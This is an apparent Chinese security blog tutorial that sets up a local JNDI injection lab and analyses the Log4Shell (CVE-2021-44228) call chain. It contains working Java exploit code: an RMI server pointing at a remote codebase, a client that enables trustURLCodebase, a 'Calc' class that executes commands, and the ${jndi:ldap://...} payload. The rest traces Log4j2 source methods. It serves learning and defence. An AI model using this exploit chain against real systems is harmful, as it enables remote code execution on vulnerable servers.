JNDI注入的本地搭建和分析
JNDI概述
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
JNDI搭建
jserver服务端(攻击端)
package jndi_a; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class jServer {
public static void main(String[] args) throws Exception {
String className = "Calc"; //类名
String url = "http://127.0.0.1:8000/";//远程类地址
Registry registry = LocateRegistry.createRegistry(1098);//rmi监听端口
Reference reference = new Reference(className, className, url);//按照lookup需要一个Reference类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("aaa", referenceWrapper);//绑定一个stub
System.out.println("rmi://127.0.0.1/hacked is working...");
}
}
jClient客户端(受害端)
package jndi_a;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException; public class jClient {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1098/aaa"; //rmi
//String uri = "ldap://127.0.0.1:1389/aaa"; //ldap
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Context ctx = new InitialContext();
ctx.lookup(uri);//
}
}
Calc恶意类
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable; public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
} static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
} public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} @Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
使用方式:
1、在当前目录下执行 ( javac Calc.java )生成恶意类Calc.class
2、在Calc.class目录使用python3自带的http服务(python -m http.server 8000)

3、启动服务 jserver
4、执行客户端 jClient 会看到弹出来的计算器
先启动恶意的CalcServer,然后运行 jserver,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

JNDI注入分析:
我们来分析一下log4j2JNDI注入漏洞,Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库,几乎没人能够幸免。

首先知道log4j2的攻击流程

1、首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:1389/aa}。
2、被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
源码:org.apache.logging.slf4j.Log4jLogger.debug(...)/info(...)/error(...)等方法
> org.apache.logging.log4j.core.config.LoggerConfig.log(...)
> AbstractOutputStreamAppender.append(final LogEvent event)
3、此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成Ldap的Lookup操作。
源码:StrSubstitutor.substitute(...) --解析出${}中的内容:jndi:ldap://localhost:1389/aa
> StrSubstitutor.resolveVariable(...) --处理解析出的内容,执行lookup
> Interpolator.lookup(...) --根据jndi找到jndi的处理类
> JndiLookup.lookup(...)
> JndiManager.lookup(...)
> java.naming.InitialContext.lookup(...) --调用Java底层的Lookup方法
◇ 后续步骤都是Java内部提供的Lookup能力,和Log4j2无关。
4、请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。
源码:LdapCtx.c_lookup(...) 请求并处理数据 (ldap中指定了javaCodeBase=)
>Obj.decodeObject --解析到ldap结果,得到classFactoryLocation=http://localhost:8888
> DirectoryManager.getObjectInstance(...) --请求Codebase得到对应类的结果
> NamingManager.getObjectFactoryFromReference(...) --请求Codebase
5、请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。
源码:VersionHelper12.loadClass(...) --请求Codebase得到Class并用类加载器加载
> NamingManager.getObjectFactoryFromReference(...) 通过默认构造函数实例化类
不考虑代码类,划分步骤只有四步
1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
代码审计分析jndi注入
因此可以通过在InitialContext.lookup(String name)方法上设置端点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

整个调用堆栈较深,这里把几个关键点提取整理如下:
LOGGER.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
(1)MessagePatternConverter.format()
poc代码中的LOGGER.error()方法最终会调用到MessagePatternConverter.format()方法,该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

(2)StrSubstitutor.resolveVariable()
StrSubstitutor将${和}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

(3)Interpolator.lookup()
Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中保存着各类Lookup功能的真正实现类。Interpolator对 上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。
例如对poc例子中的jndi:rmi://127.0.0.1:1099/exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。

(4)JndiLookup.lookup()
JndiLookup.lookup()方法调用JndiManager.lookup()方法,获取JNDI对象后,调用该对象上的toString()方法,最终返回该字符串。

(5)JndiManager.lookup()
JndiManager.lookup()较为简单,直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续几个补丁中较为重要的变更即为该方法。
至此,后续即可以按照常规的JNDI注入路径进行分析。

JNDI注入的本地搭建和分析的更多相关文章
- Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...
- 浅析JNDI注入Bypass
之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...
- DVWA-对Command Injection(命令注入)的简单演示与分析
前言 上一篇文章中,对命令注入进行了简单的分析,有兴趣的可以去看一看,文章地址 https://www.cnblogs.com/lxfweb/p/12828754.html,今天这篇文章以DVWA的C ...
- Java安全之JNDI注入
Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...
- javasec(八)jndi注入
JNDI JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式 ...
- PhpStorm Xdebug远程调试环境搭建原理分析及问题排查
2017年05月26日 经验心得 目录 一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...
- JNDI注入与反序列化学习总结
0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...
- 爬虫管理平台以及wordpress本地搭建
爬虫管理平台以及wordpress本地搭建 学习目标: 各爬虫管理平台了解 scrapydweb gerapy crawlab 各爬虫管理平台的本地搭建 Windows下的wordpress搭建 爬虫 ...
- JNDI注入基础
JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...
- Java之JNDI注入
Java之JNDI注入 About JNDI 0x01 简介 JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JND ...
随机推荐
- 2022-05-06:给你一个整数数组 arr,请你将该数组分隔为长度最多为 k 的一些(连续)子数组。分隔完成后,每个子数组的中的所有值都会变为该子数组中的最大值。 返回将数组分隔变换后能够得到的元
2022-05-06:给你一个整数数组 arr,请你将该数组分隔为长度最多为 k 的一些(连续)子数组.分隔完成后,每个子数组的中的所有值都会变为该子数组中的最大值. 返回将数组分隔变换后能够得到的元 ...
- Midjourney|文心一格prompt教程[基础篇]:注册使用教程、风格设置、参数介绍、隐私模式等
Midjourney|文心一格prompt教程[基础篇]:注册使用教程.风格设置.参数介绍.隐私模式等 开头讲一下为什么选择Midjourney和文心一格,首先Midjourney功能效果好不多阐述: ...
- 计算机网络 传输层协议TCP和UDP
目录 一.传输层协议 二.tcp协议介绍 三.tcp报文格式 四.tcp三次握手 五.tcp四次挥手 六.udp协议介绍 七.常见协议和端口 八.有限状态机 一.传输层协议 传输层协议主要是TCP和U ...
- hvv蓝初面试常见漏洞问题(上)
1.SQL注入 漏洞成因: 可控变量 变量会带入数据库查询 变量不存在过滤或者变量过滤不严格 注入流程 判断是否有注入点 order by 判断字段数量 union select 报错查看注入点 使用 ...
- Java(命令行传参、可变参数、递归
1.命令行传参 通过命令行传参,main也可以传参 public class Hello { public static void main(String[] args) { for (int i = ...
- tar 命令压缩时报错 Removing leading `/' from member names 解决方法
原文:https://www.cnblogs.com/operationhome/p/9802554.html 在使用tar命令进行压缩打包的时候我们常常会遇到下面的错误.虽然它不会影响我们最后的压缩 ...
- 看看Angular有啥新玩法!手把手教你在Angular15中集成报表插件
摘要:本文由葡萄城技术团队于博客园原创并首发.葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. Angular15新特性 Angular框架(以下简称"Angular" ...
- JavaWeb编程面试题——Spring Boot
引言 面试题==知识点,这里所记录的面试题并不针对于面试者,而是将这些面试题作为技能知识点来看待.不以刷题进大厂为目的,而是以学习为目的.这里的知识点会持续更新,目录也会随时进行调整. 关注公众号:编 ...
- 南洋才女,德艺双馨,孙燕姿本尊回应AI孙燕姿(基于Sadtalker/Python3.10)
孙燕姿果然不愧是孙燕姿,不愧为南洋理工大学的高材生,近日她在个人官方媒体博客上写了一篇英文版的长文,正式回应现在满城风雨的"AI孙燕姿"现象,流行天后展示了超人一等的智识水平,行文 ...
- vue3实现H5网页录音并上传(mp3、wav)兼容Android、iOS和PC端
使用 Recorder插件 可以在HTML5网页中进行录音,录音完成后得到blob文件对象,然后将blob上传到服务器:项目使用的vue3.0版本(这个插件同时支持vue2.0.也支持uniapp,很 ...